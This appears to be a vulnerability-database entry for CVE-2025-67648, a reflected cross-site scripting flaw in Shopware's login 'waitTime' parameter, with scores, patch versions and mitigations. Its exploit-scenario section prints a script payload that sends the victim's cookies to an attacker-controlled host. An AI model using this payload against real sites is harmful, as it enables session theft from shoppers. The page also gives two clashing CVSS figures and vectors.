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Shopware CVE-2025-67648

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2025-12-11 security-advisories@github.com GHSA-6w82-v552-wjw2
6.1
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 score of 7.1 (High) reflects network-based attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), but mandatory user interaction (UI:R), with high integrity impact (I:H) and low confidentiality impact (C:L). However, the real-world risk is considerably lower than the CVSS suggests: the EPSS score of 0.04% places this in the 11th percentile, indicating minimal observed exploitation activity. The requirement for user interaction (clicking a malicious link) and the scope being unchanged (S:U) further limits practical exploit scenarios. While patches are available and a GitHub security advisory exists, there is no evidence of proof-of-concept code in public repositories or inclusion in CISA KEV, suggesting this is not being actively targeted. This represents a moderate priority for patching—important for internet-facing e-commerce platforms but not requiring emergency response.

Exploit ScenarioDerived

An attacker crafts a malicious URL to the Shopware login page with JavaScript code embedded in the waitTime parameter, such as '/account/login?waitTime=<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'. When a legitimate user clicks this link (distributed via phishing email or compromised website), the malicious script executes in their browser context, potentially stealing session cookies or authentication tokens. Given the low attack complexity (AC:L) and network accessibility (AV:N), exploitation is straightforward once social engineering succeeds in convincing users to click the crafted link.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 17, 2026

Shopware, an open commerce platform, contains a reflected cross-site scripting (XSS) vulnerability in its authentication controller where the 'waitTime' URL parameter from the login page is rendered directly into the Twig template without validation or sanitization. Versions 6.4.6.0 through 6.6.10.9 and 6.7.0.0 through 6.7.5.0 are affected, allowing attackers to inject malicious JavaScript code through crafted URLs. With an EPSS score of only 0.04% (11th percentile), active exploitation appears low despite the availability of patches and public advisories.

RemediationAI

Upgrade Shopware to version 6.6.10.10 or 6.7.5.1 or later, which contain fixes for this vulnerability as documented in the GitHub security advisory at https://github.com/shopware/shopware/security/advisories/GHSA-6w82-v552-wjw2. The specific patch commit can be reviewed at https://github.com/shopware/shopware/commit/c9242c02c84595d9fa3e2adf6a264bc90a657b58 for those requiring code-level verification. As an interim mitigation before patching, implement web application firewall (WAF) rules to filter or encode special characters in the 'waitTime' parameter on login page requests, and consider implementing Content Security Policy (CSP) headers to restrict inline script execution. Additional context is available through VulDB entry 335778 at https://vuldb.com/?id.335778.

Affected Packages

composer shopware/shopware fix: 6.6.10.10, 6.7.5.1
composer shopware/storefront fix: 6.6.10.10, 6.7.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects Shopware's storefront authentication system, specifically the AuthController.php component responsible for handling login page rendering. The affected products are identified via CPE strings cpe:2.3:a:shopware:shopware for both the 6.6.x and 6.7.x branches. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), where the Twig templating engine receives unsanitized user input from the 'waitTime' request parameter. This architectural flaw allows arbitrary HTML and JavaScript injection because the template engine trusts the input data without applying output encoding or input validation filters before rendering the login page to end users.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
Severity Changed
Oct 14, 2026 - 20:23 NVD
HIGH MEDIUM
CVSS changed
Oct 14, 2026 - 20:23 NVD
7.1 (HIGH) 6.1 (MEDIUM)
Patch released
Mar 17, 2026 - 20:45 nvd
Patch available
CVE Published
Dec 11, 2025 - 00:16 nvd
HIGH 7.1

DescriptionNVD

Shopware is an open commerce platform. Versions 6.4.6.0 through 6.6.10.9 and 6.7.0.0 through 6.7.5.0 have a Reflected XSS vulnerability in AuthController.php. A request parameter from the login page URL is directly rendered within the Twig template of the Storefront login page without further processing or input validation. This allows direct code injection into the template via the URL parameter, waitTime, which lacks proper input validation. This issue is fixed in versions 6.6.10.10 and 6.7.5.1.

Executive ViewAI

Why It Matters

Organizations using Shopware face moderate risk from CVE-2025-67648, a cross-site scripting vulnerability rated CVSS 7.1. Attackers could inject malicious scripts to steal user sessions, credentials, or perform actions on behalf of authenticated users. A patch is available and should be applied as part of regular vulnerability management.

Business Impact: Moderate
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement Content-Security-Policy headers; (2) Enable HttpOnly and SameSite cookie attributes; (3) Deploy WAF XSS/CSRF rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)NVD

cpe:2.3:a:shopware:shopware:*:*:*:*:*:*:*:*
cpe:2.3:a:shopware:shopware:*:*:*:*:*:*:*:*
CVE-2016-3109 CRITICAL POC
9.8 Apr 21

The backend/Login/load/ script in Shopware before 5.1.5 allows remote attackers to execute arbitrary code. Rated critica

CVE-2019-12799 HIGH POC
8.8 Jun 13

In createInstanceFromNamedArguments in Shopware through 5.6.x, a crafted web request can trigger a PHP object instantiat

CVE-2023-2017 HIGH POC
8.8 Apr 17

Server-side Template Injection (SSTI) in Shopware 6 (<= v6.4.20.0, v6.5.0.0-rc1 <= v6.5.0.0-rc4), affecting both shopwar

CVE-2025-27892 MEDIUM POC
6.8 Apr 15

Shopware prior to version 6.5.8.13 is affected by a SQL injection vulnerability in the /api/search/order endpoint. Rated

CVE-2017-15374 MEDIUM POC
6.1 Oct 16

Shopware v5.2.5 - v5.3 is vulnerable to cross site scripting in the customer and order section of the content management

CVE-2022-24956 MEDIUM POC
6.5 Mar 29

An issue was discovered in Shopware B2B-Suite through 4.4.1. Rated medium severity (CVSS 6.5), this vulnerability is rem

CVE-2019-12935 MEDIUM POC
6.1 Jun 23

Shopware before 5.5.8 has XSS via the Query String to the backend/Login or backend/Login/load/ URI. Rated medium severit

CVE-2024-42357 CRITICAL
9.8 Aug 08

Shopware is an open commerce platform. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, n

CVE-2024-42355 CRITICAL
9.8 Aug 08

Shopware, an open ecommerce platform, has a new Twig Tag `sw_silent_feature_call` which silences deprecation messages wh

CVE-2024-22406 CRITICAL
9.8 Jan 16

Shopware is an open headless commerce platform. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo

CVE-2023-22732 CRITICAL
9.8 Jan 17

Shopware is an open source commerce platform based on Symfony Framework and Vue js. Rated critical severity (CVSS 9.8),

CVE-2021-37708 CRITICAL
9.8 Aug 16

Shopware is an open source eCommerce platform. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploi

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